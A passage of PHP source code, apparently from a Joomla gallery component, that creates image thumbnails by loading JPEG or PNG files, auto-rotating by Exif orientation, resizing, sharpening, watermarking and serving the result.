                 echo "Error opening {$image_file}!";
                 exit;
             }
         } else {
             if (strtolower($ext) == "jpg" || strtolower($ext) == "jpeg") {
                 // try to use PEL first. If things fail, use the php internal method to get the JPEG
                 try {
                     $input_jpeg = new PelJpeg($image_file);
                     /* Retrieve the original Exif data in $jpeg (if any). */
                     $exif = $input_jpeg->getExif();
                     /* The input image is already loaded, so we can reuse the bytes stored
                      * in $input_jpeg when creating the Image resource. */
                     if (!($im_original = ImageCreateFromString($input_jpeg->getBytes()))) {
                         echo "Error opening {$image_file}!";
                         exit;
                     }
                 } catch (Exception $e) {
                     if (!($im_original = imagecreatefromjpeg($image_file))) {
                         echo "Error opening {$image_file}!";
                         exit;
                     }
                 }
             } else {
                 if (strtolower($ext) == "png") {
                     if (!($im_original = imagecreatefrompng($image_file))) {
                         echo "Error opening {$image_file}!";
                         exit;
                     }
                 } else {
                     die("{$ext} not supported");
                 }
             }
         }
         if ($params->get('use_autorotate', 1) == 1 && $exif != NULL) {
             $tiff = $exif->getTiff();
             $ifd0 = $tiff->getIfd();
             $orientation = $ifd0->getEntry(PelTag::ORIENTATION);
             if ($orientation != null) {
                 $im_original = imagerotate($im_original, $jpeg_orientation_translation[$orientation->getValue()], 0);
                 $orientation->setValue(1);
             }
         }
         $orig_width = imagesx($im_original);
         $orig_height = imagesy($im_original);
         $orig_ratio = imagesx($im_original) / imagesy($im_original);
         $sizeCalc = new EventgalleryHelpersSizecalculator($orig_width, $orig_height, $width, strcmp('crop', $mode) == 0);
         $height = $sizeCalc->getHeight();
         $width = $sizeCalc->getWidth();
         //print_r($sizeCalc);
         // create canvas/border image
         //adjust height to not enlarge images
         if ($width > $orig_width) {
             $width = $orig_width;
         }
         if ($height > $orig_height) {
             $height = $orig_height;
         }
         if (strcmp('crop', $mode) != 0) {
             $canvasWidth = $width;
             $canvasHeight = ceil($width / $orig_ratio);
             if ($canvasHeight > $height) {
                 $canvasHeight = $height;
                 $canvasWidth = ceil($height * $orig_ratio);
             }
             $width = $canvasWidth;
             $height = $canvasHeight;
         } else {
             $height = $width;
         }
         $isOriginalSize = false;
         if ($height == $orig_height && $width == $orig_width) {
             $isOriginalSize = true;
         }
         /**
          * Do not recalculate the image if we don't need to resize it.
          */
         if ($isOriginalSize && $params->get('use_sharpening_for_originalsize', 1) == 0) {
             $im_output = $im_original;
         } else {
             $im_output = imagecreatetruecolor($width, $height);
             $resize_faktor = $orig_height / $height;
             $new_height = $height;
             $new_width = $orig_width / $resize_faktor;
             if ($new_width < $width) {
                 $resize_faktor = $orig_width / $width;
                 $new_width = $width;
                 $new_height = $orig_height / $resize_faktor;
             }
             imagecopyresampled($im_output, $im_original, $width / 2 - $new_width / 2, $height / 2 - $new_height / 2, 0, 0, $new_width, $new_height, $orig_width, $orig_height);
             $use_sharpening = $params->get('use_sharpening', 1);
             if ($use_sharpening == 1) {
                 // configure the sharpening
                 $stringSharpenMatrix = $params->get('image_sharpenMatrix', '[[-1,-1,-1],[-1,16,-1],[-1,-1,-1]]');
                 $sharpenMatrix = json_decode($stringSharpenMatrix);
                 if (null == $sharpenMatrix || count($sharpenMatrix) != 3) {
                     $sharpenMatrix = array(array(-1, -1, -1), array(-1, 16, -1), array(-1, -1, -1));
                 }
                 $divisor = array_sum(array_map('array_sum', $sharpenMatrix));
                 $offset = 0;
                 if (function_exists('imageconvolution')) {
                     if (version_compare(phpversion(), '5.5.9', '=')) {
                         $this->imageconvolution($im_output, $sharpenMatrix, $divisor, $offset);
                     } else {
                         imageconvolution($im_output, $sharpenMatrix, $divisor, $offset);
                     }
                 }
             }
         }
         /**
          * @var EventgalleryLibraryManagerFolder $folderMgr
          * @var EventgalleryLibraryFolder $folder
          */
         $folderMgr = EventgalleryLibraryManagerFolder::getInstance();
         $folder = $folderMgr->getFolder($folder);
         $watermark = $folder->getWatermark();
         // load default watermark
         if (null == $watermark || !$watermark->isPublished()) {
             /**
              * @var EventgalleryLibraryManagerWatermark $watermarkMgr
              * @var EventgalleryLibraryWatermark $watermark
              */
             $watermarkMgr = EventgalleryLibraryManagerWatermark::getInstance();
             $watermark = $watermarkMgr->getDefaultWatermark();
         }
         if (null != $watermark && $watermark->isPublished()) {
             $watermark->addWatermark($im_output);
         }
         $image_quality = $params->get('image_quality', 85);
         if ($input_jpeg != null) {
             Pel::setJPEGQuality($image_quality);
             /* We want the raw JPEG data from $scaled. Luckily, one can create a
              * PelJpeg object from an image resource directly: */
             $output_jpeg = new PelJpeg($im_output);
             /* If no Exif data was present, then $exif is null. */
             if ($exif != null) {
                 $output_jpeg->setExif($exif);
             }
             /* We can now save the scaled image. */
             $writeSuccess = true;
             $output_jpeg->saveFile($image_thumb_file);
         } else {
             $writeSuccess = imagejpeg($im_output, $image_thumb_file, $image_quality);
             if (!$writeSuccess) {
                 die("Unable to write to file {$image_thumb_file}");
             }
         }
         if (!$writeSuccess) {
             die("Unable to write to file {$image_thumb_file}");
         }
         $time = time() + 315360000;
         touch($image_thumb_file, $time);
         // add the ICC profile
         try {
             $o = new JPEG_ICC();
             $o->LoadFromJPEG($image_file);
             $o->SaveToJPEG($image_thumb_file);
         } catch (Exception $e) {
         }
     }
     $mime = ($mime = getimagesize($image_thumb_file)) ? $mime['mime'] : $mime;
     $size = filesize($image_thumb_file);
     $fp = fopen($image_thumb_file, "rb");
     if (!($mime && $size && $fp)) {
         // Error.
         return;
     }
     if (!$debug) {
         header("Content-Type: " . $mime);
         header("Content-Length: " . $size);
         header("Last-Modified: {$last_modified}");
     }
     fpassthru($fp);
     die;
     //$app->close();
 }